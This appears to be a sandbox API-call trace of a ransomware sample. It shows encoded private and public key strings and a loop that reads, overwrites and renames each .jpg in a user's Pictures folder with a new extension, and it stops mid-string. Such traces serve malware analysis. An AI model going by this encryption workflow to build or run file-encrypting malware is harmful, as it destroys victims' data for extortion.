dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0085.235] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f4e80c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0085.237] GetCurrentThreadId () returned 0xa30 [0085.237] GetCurrentThreadId () returned 0xa30 [0085.237] GetCurrentThreadId () returned 0xa30 [0085.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0085.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f5f86c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0085.238] GetCurrentThreadId () returned 0xa30 [0085.238] GetCurrentThreadId () returned 0xa30 [0085.238] GetCurrentThreadId () returned 0xa30 [0085.238] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\EMtuZH-5jQdTrJmsCm.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\j1gacw\\emtuzh-5jqdtrjmscm.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0085.238] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0085.238] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0085.238] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0xa0d2 [0085.238] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0085.239] ReadFile (in: hFile=0x11c, lpBuffer=0x1f67670, nNumberOfBytesToRead=0xa0d2, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f67670*, lpNumberOfBytesRead=0x18f108*=0xa0d2, lpOverlapped=0x0) returned 1 [0085.241] CloseHandle (hObject=0x11c) returned 1 [0085.242] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\EMtuZH-5jQdTrJmsCm.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\j1gacw\\emtuzh-5jqdtrjmscm.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0085.248] WriteFile (in: hFile=0x11c, lpBuffer=0x1f736a0*, nNumberOfBytesToWrite=0xa0d2, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f736a0*, lpNumberOfBytesWritten=0x18f114*=0xa0d2, lpOverlapped=0x0) returned 1 [0085.251] CloseHandle (hObject=0x11c) returned 1 [0085.269] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\EMtuZH-5jQdTrJmsCm.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\j1gacw\\emtuzh-5jqdtrjmscm.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\EMtuZH-5jQdTrJmsCm.jpg.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\j1gacw\\emtuzh-5jqdtrjmscm.jpg.zv7un")) returned 1 [0085.270] GetCurrentThreadId () returned 0xa30 [0085.270] GetCurrentThreadId () returned 0xa30 [0085.270] GetCurrentThreadId () returned 0xa30 [0085.270] GetCurrentThreadId () returned 0xa30 [0085.270] GetCurrentThreadId () returned 0xa30 [0085.270] GetCurrentThreadId () returned 0xa30 [0085.270] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ab39890, ftCreationTime.dwHighDateTime=0x1d5e4e9, ftLastAccessTime.dwLowDateTime=0x6d7cbd10, ftLastAccessTime.dwHighDateTime=0x1d5dc30, ftLastWriteTime.dwLowDateTime=0x6d7cbd10, ftLastWriteTime.dwHighDateTime=0x1d5dc30, nFileSizeHigh=0x0, nFileSizeLow=0xc584, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="OIh9luhcg82TbIwB.jpg", cAlternateFileName="OIH9LU~1.JPG")) returned 1 [0085.270] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0085.270] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0085.270] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\OIh9luhcg82TbIwB.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\j1gacw\\oih9luhcg82tbiwb.jpg"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ab39890, ftCreationTime.dwHighDateTime=0x1d5e4e9, ftLastAccessTime.dwLowDateTime=0x6d7cbd10, ftLastAccessTime.dwHighDateTime=0x1d5dc30, ftLastWriteTime.dwLowDateTime=0x6d7cbd10, ftLastWriteTime.dwHighDateTime=0x1d5dc30, nFileSizeHigh=0x0, nFileSizeLow=0xc584)) returned 1 [0085.270] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\OIh9luhcg82TbIwB.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\j1gacw\\oih9luhcg82tbiwb.jpg")) returned 0x20 [0085.271] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\OIh9luhcg82TbIwB.jpg", dwFileAttributes=0x80) returned 1 [0085.273] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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